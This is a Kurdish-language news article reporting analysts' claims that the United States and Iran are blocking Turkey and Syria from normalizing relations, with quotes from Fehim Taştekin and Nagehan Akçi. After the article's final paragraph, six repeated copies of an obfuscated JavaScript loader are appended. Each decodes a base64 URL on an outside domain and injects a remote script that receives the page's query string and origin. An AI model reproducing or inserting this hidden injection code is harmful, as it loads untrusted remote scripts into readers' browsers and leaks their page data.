ئەمریکا و ئیران ئاستەنگان ل هەمبەر ئاساییکرنا پەیوەندیێن تورکیا و سووریێ دروست دکەن
ئەمریکا و ئیران ئاستەنگیان ل هەمبەر ئاساییکرنا پەیوەندیێن تورکیا و سووریێ دروست دکەن
چاڤدێرێن سیاسی دیار دکەن، د رەوشا نها دا ئەمریکا و ئیران ناهێلن تورکیا و سووریێ دەست ب قۆناغەکا نوو بکەن و پەیوەندیێن خوە ئاسایی بکەن، چونکی ئیرانێ دڤێت جارێ رەوشا سووریێ یا ئالۆز بیت و ئەو یەک بۆ ئیرانێ یا باشە و ل ئالیێ دی ئەمریکا ژی نەڤێت تشتەک وە روو بدەت چونکی ئەو یەک دێ بیتە ئەگەر فشار ل ئەمریکا بهێنە کرن دا هێزێن خوە ژ سووریێ ڤەکێشیت.
فەهیم تاشتەکین بسپۆرێ کاروبارێن رۆژهەلاتا ناڤین راگەهاند، د رەوشا نها یا ئالۆز ل رۆژهەلاتا ناڤین دا تورکیا گەلەک دڤێت پەیوەندیێن خوە ل گەل سووریێ ئاسایی بکەت دا بشێت هەم خوە ژ بابەتێ پەنابەرێن نها ل تورکیا قورتال بکەت و هەم ژی بابەتێ هێزێن چەکدارێن ئۆپۆزسیۆنێ بهێتە ئێکلا کرن، لێ ئەو یەک یا ب ساناهی نینە، چونکی د ئاستێ رۆژهەلاتا ناڤین دا ئیران ب چو رەنگەکێ ل گەل هندێ نینە نها تورکیا ل گەل شامێ پەیوەندیێن خوە ئاسایی بکەت، د ئاستێ نێڤدەولەتی دا ژی ئەمریکا ئاستەنگیان دروست دکەت، بەرپرسێن ئەمریکا ب ئاشکرا دبێژن نها دەم بۆ ڤێ یەکێ گونجای نینە تورکیا و سووریێ پرسێن هەی د ناڤبەرا خوە دا چارەسەر بکەن و گۆت: (رەوشەکا گەلەک ئالۆز ل دەڤەرێ هەیە، بابەت تنێ پرسا سووریێ نینە، بەلکو نها رەوشەکا گەلەک مەزنتر ژ یا سووریێ هەیە، شەرێ ئسرائیلێ ل گەل حەماسێ و حزبوللاهێ، شەرێ رۆسیا و ئۆکرانیایێ کاریگەریا خوە ل هەموو جیهانێ کرینە و ژ بەر ڤێ یەکێ ژی مرۆڤ دشێت بێژیت کو پرسا سووریێ جارێ ناهێتە بەرچاڤ).
ناڤهاتی ئەو یەک ژی دیار کر ئەمریکا د رەوشا نها دا نەڤێت تورکیا پێگەهێ خوە ل سووریێ بهێز بکەت، چونکی هەکە تورکیا و سووریێ دەست ب قۆناغەکا نوو بکەن دێ وا گەلەک داخوازیان ژ سووریێ کەت، تورکیا وەسا ب ساناهی یا بەرهەڤ نابیت هێزێن خوە ژ سووریێ ڤەکێشیت، داخوازیێن تورکیا ژ شامێ د رەوشا نها دا ب تەمامی ل دژی بەرژەوەندیێن ئەمریکا نە، ئەمریکا نها نەڤێت ژ سووریێ دەرکەڤیت، پشتەڤانیا ئەمریکا یا بۆ هێزێن سووریا دیموکرات ژی بۆ ڤێ یەکێ نە دا د چارچۆڤێ شەڕێ ل دژی داعشێ دا ئەمریکا بشێت بۆ دەمەکێ درێژ ل سووریێ بمینیت، چونکی مانا ئەمریکا ل سووریێ دێ کاریگەریەکا گەلەک بهێز ل بەرژەوەندیێن وێ ل رۆژهەلاتا ناڤین کەت.
ناگەهان ئاکچی بسپۆرا پەیوەندیێن نێڤدەولەتی ژی راگەهاند، د چەند سالێن بۆری دا گەلەک گوهۆڕینێن مەزن ل رۆژهەلاا ناڤین روو داینە و پەیوەندیێن تورکیا و سووریێ گەلەک ئالۆزن، تورکیا دەستێوەردان د کاروبارێن ناڤخوەیی یێ سووریێ دا کریە و نها پشکەک ژ ئاخا سووریێ د بن کۆنترۆلا تورکیا دایە، ئەو یەک ب دلێ ئیرانێ ژی نینە، دڤێت ئەم باش بزانین ئیران ب هەموو رەنگەکێ ل دژی بهێزبوونا پێگەهێ تورکیا ل سووریێ یە، ئیرانێ گەلەک گرۆپێن چەکدار ژی ل سووریێ دروست کرینە و دشێت وان گرۆپان بۆ بەرژەوەندیێن خوە بکار بینیت، ئیرانێ نەڤێت د رەوشا نها دا تورکیا و سووریێ پرسێن هەی د ناڤبەرا خوە دا چارەسەر بکەن، چونکی وی دەمی دێ کاریگەریا ئیرانێ یا ل سەر شامێ کێم بیت، ژ بەر ڤێ یەکێ ژی ئیران ئاستەنگیا ل هەمبەر اساییکرنا پەیوەندیێن تورکیا و شامێ دروست دکەت.
ناڤهاتیێ ئەو یەک ژی دیار کر بەری چەند رۆژان بالیۆزێ تورکیا ل تەهرانێ ژی ب رەنگەکێ ئاشکرا دیار کر وان دڤێت ئیران رۆلەکا کاریگەر بۆ ئاساییکرنا پەیوەندیێن تورکیا و شامێ بگێریت، لێ هەتا نها بەرسڤا ئیرانێ یا ئەرێنی نەبوویە و نابیت ژی، چونکی ئیرانێ دڤێت تورکیا بێی مەرج هەموو هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت، یا راست هەلوەستێ نها یێ شامێ ل هەمبەر تورکیا د راستی دا مرۆڤ دشێت بێژیت هەلوەستێ ئیرانێ یە.
ل ئالیێ دی گەلەک چاڤدێرێن سیاسی ژی وەسا دبینن هەر یەک ژ ئیران و ئەمریکا ژ بەر بەرژەوەندیێن خوە یێن ل سووریێ ناهێلن تورکیا سووریێ دەست ب قۆناغەکا نوو بکەن، ژ بەر ڤێ یەکێ ژی نها پرسا سووریێ د راستی دا بوویە پرسەکا نێڤدەولەتی و هەتا ئەمریکا و رۆسیا ل سەر هندەک خالان رێککەفتنەکێ نەکەن و شەرێ نها ل ئۆکرانیایێ ژی ب دووماهی نەهێت گەلەک یا ب زەحمەتە رەوشا سووریێ باشتر لێ بهێت، چونکی ئەمریکا و رۆسیا گەلەک بەرژەوەندیێن جودا ل سووریێ هەنە و هەر دو وەلات ژی بەرهەڤ نینن دەستان ژ بەرژەوەندیێن خوە بەردەن و هەر دو ئالی ژی دشێن گەلەک ئاستەنگیان ل هەمبەر چارەسەرکرنا قەیرانا نها ل سووریێ دروست بکەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
